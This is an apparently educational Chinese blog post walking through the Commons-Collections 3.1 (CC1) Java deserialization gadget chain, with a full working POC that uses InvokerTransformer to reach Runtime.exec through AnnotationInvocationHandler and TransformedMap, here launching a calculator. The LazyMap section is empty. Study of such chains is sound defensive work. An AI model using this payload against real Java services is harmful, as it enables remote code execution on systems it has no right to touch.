Java反序列化学习之Commons-Collections1

用于调试的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Demo {
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innermap = new HashMap();
innermap.put("value", "mochazz");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}

public static void main(String[] args) throws Exception {
payload2File(generatePayload(),"obj");
payloadTest("obj");
}
public static void payload2File(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}

漏洞点

漏洞点存在于 commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/InvokerTransformer.java 。 在 InvokerTransformer 类中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法。

1

接下来,我们需要找到一处可以循环调用 transform 方法的地方。全局搜索 .transform( 后发现, commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/ChainedTransformer.java 类的 transform 方法刚好符合条件。

2

ChainedTransformer 类的 transform 方法中,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法。

3

可能有的人会有疑问,为什么要找一处循环调用 transform 方法的地方?如果你懂得如何使用 Java反射 来执行 系统命令 ,也许就能明白这么做的原因。下面贴出了 Demo 代码。我们需要利用循环,构造出下面的链式调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// ExecuteCMD.java
import java.io.IOException;

public class ExecuteCMD {
public static void main(String [] args) throws IOException{
// 普通命令执行
Runtime.getRuntime().exec(new String [] { "deepin-calculator" });

// 通过反射执行命令
try{
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
new String [] { "deepin-calculator" }
);
} catch(Exception e) {
e.printStackTrace();
}
}
}

此时,我们就可以将 ChainedTransformerTransformer 属性按照如下构造:

1
2
3
4
5
6
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })
};

这里 transformers 数组的第一个,我们选用的是 ConstantTransformer 类。因为该类执行 transform 方法后,会返回一个构造对象时传入的参数,在这里就是 Runtime.class

4

在构造好这些后,我们现在需要寻找哪里可以调用 ChainedTransformer.transform() 方法。网络上公开的主要是通过 TransformedMapLazyMap 这两个利用链,接下来我们来逐个分析。

TransformedMap利用链

先来看 TransformedMap 类,该类中有3个方法均调用了 transform() (对应下图126、141、169行代码),分别是 transformKey()、transformValue()、checkSetValue() ,且类名均可控(对应下图83-84行代码)。但是这3个方法都被 protected 修饰,所以看看哪些方法调用了它们。

5

我们可以看到公共方法 put()、putAll() 调用了 transformKey()、transformValue() ,而 checkSetValue() 却没有看到在哪调用。不过我们可以从注释中看出些端倪,注释说当调用该类的 setValue 方法时,会自动调用 checkSetValue 方法。该类 setValue 方法继承自父类 AbstractInputCheckedMapDecorator ,我们看其父类代码。

6

AbstractInputCheckedMapDecorator 的根父类实际就是 Map ,所以我们现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链。下面,我们来看满足这个条件的 AnnotationInvocationHandler 类,该类属于 JDK1.7 自带的,代码如下。

7

我们可以在 AnnotationInvocationHandler 类的 readObject 方法中看到 setValue 方法的调用。而想要成功执行到此处,我们需要先绕过上图360行的if条件。其中需要关注的就是 var7、var8 两个变量的值。实际上, var7 的值只与 this.type 有关; var8 只与 this.memberValues 有关,所以我们转而关注构造函数。在构造函数中,程序要求我们传入的第一个参数必须继承 java.lang.annotation.Annotation 接口。而在 Java 中,所有的注解实际上都继承自该接口。所以我们第一个变量传入一个JDK自带注解,这样第二个 Map 类型的变量也可以正常赋值。

现在来看看如何去构造这两个 this.type、this.memberValues 这两个变量。实际上,并不是将 this.type 设置成任意注解类都能执行 POC 。网络上很多分析文章将 this.type 设置成 java.lang.annotation.Retention.class ,但是没有说为什么这个类可以。而在调试代码的过程中,我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如 java.lang.annotation.Annotation、java.lang.annotation.Target 都可以触发,而 java.lang.annotation.Documented 则不行。而且我们 POC 中, innermap 必须有一个键名与注解类方法名一样的元素(如下图箭头指向)。而注解类方法返回类型将是 var7 的值。

8

具体怎么影响,调试下 /opt/java/jdk1.7.0_80/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationType.class:AnnotationType() 就知道了,这里不再赘述。

9

LazyMap利用链

参考

Java反序列化利用链挖掘之CommonsCollections1

以Commons-Collections为例谈Java反序列化POC的编写 https://www.anquanke.com/post/id/195865